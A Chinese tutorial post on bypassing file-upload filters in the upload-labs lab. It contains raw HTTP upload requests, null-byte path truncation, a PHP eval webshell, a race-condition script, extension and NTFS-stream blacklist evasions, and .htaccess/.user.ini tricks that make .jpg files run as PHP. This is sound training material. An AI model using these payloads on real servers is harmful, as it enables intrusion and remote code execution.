当前位置: 首页 > news >正文

文件上传简单的绕过总结

目录

绕过前端JS校验

修改MIME头

白名单校验

%00截断

00截断

图片马+文件包含漏洞

getimagesize()绕过

exif_imagetype()绕过

二次渲染绕过

条件竞争

黑名单校验

扩展名绕过

大小写绕过

双写绕过

win环境末尾加.绕过

win环境末尾加空格绕过

win环境NTFS数据流绕过

win环境. . 绕过

上传.htaccess

上传.user.ini

绕过前端JS校验

修改MIME头

白名单校验

%00截断

url文件上传路径可控,且是GET方式如

POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--

通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。

00截断

url文件上传路径可控,且是POST方式如

POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--

POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。

图片马+文件包含漏洞

使用windows的cmd制作图片马

随后配合文件包含漏洞

getimagesize()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

exif_imagetype()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

二次渲染绕过

有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。

<?php @eval($_POST['zoe']);?>

条件竞争

python脚本(url改成你们自己上传文件后的路径)

import requests
import threading
import osclass RaceCondition(threading.Thread):def __init__(self):threading.Thread.__init__(self)self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'def _get(self):print('try to call uploaded file...')r = requests.get(self.url)if r.status_code == 200:print(r.text)os._exit(0)def run(self):while True:for i in range(5):self._get()for i in range(10):self._get()if __name__ == '__main__':threads = 50for i in range(threads):t = RaceCondition()t.start()for i in range(threads):t.join()

这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。

然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。

黑名单校验

扩展名绕过

1.php->1.php3

1.php3,1.php4,1.php5,1.php6,1.php7

1.phtml

大小写绕过

1.php->1.PHp

双写绕过

1.php->1.pphphp

win环境末尾加.绕过

1.php->1.php.

win环境末尾加空格绕过

1.php->1.php

win环境NTFS数据流绕过

1.php->1.php::$DATA

win环境. . 绕过

1.php->1.php. .

上传.htaccess

.htaccess文件内容如下

AddType application/x-httpd-php .jpg

首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

上传.user.ini

.user.ini文件内容如下

auto_prepend_file=1.jpg(与自己上传的文件名相同)

先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

AddType application/x-httpd-php .jpg

auto_prepend_file=1.jpg

http://www.dtcms.com/a/434822.html

相关文章:

  • Visual Studio Code中launch.json深度解析:C++调试的艺术
  • 天长市建设局网站惠来做网站
  • 51单片机红外遥控
  • Java 集合 “List + Set”面试清单(含超通俗生活案例与深度理解)
  • 云南网站建设哪个好软文广告平台
  • 《嵌入式 – GD32开发实战指南(RISC-V版本)》第8章 PWM输出实现
  • HNU 编译系统 第一次作业
  • 网站怎么做交易平台图片生成网页链接在线
  • 渗透测试中的信息收集:文档元数据
  • minikube 的 kubernetes 入门教程-kubeSphere
  • 深圳 手机网站建设彩妆做推广的网站
  • 网站跳转是什么意思郑州建站网站的公司
  • 老题新解|再求 f(x,n)
  • 【Android cmd命令的执行流程】
  • c++26新功能—constexpr在稳定排序中的应用
  • AI生成悬疑故事
  • 泰山派rk3566烧录
  • Phpstudy博客网站apache2日志分析python代码
  • asp网站程序优点做App和网站 聚马
  • 免费软件下载网站入口正能量微信开发公众平台
  • 【系统重装】Windows无法安装到这个磁盘提示选中的磁盘具有MBR分区表解决方法(亲测有效)
  • MySQL 查询与更新语句执行过程深度解析:从原理到实践​
  • Bella Beauty – Aesthetic Medical Clinic WordPress Theme: A Practical
  • 洗车店会员管理系统数据分析
  • 门户网站的意思wordpress 导航 防刷新
  • 虚幻基础:角色受击
  • unordered_set 与unordered_multiset?我们该如何选择
  • 网站建设与维护是什么可以在线观看的免费资源
  • Windows系统下的Git安装(2025年6月更新)
  • Protobuf知识总结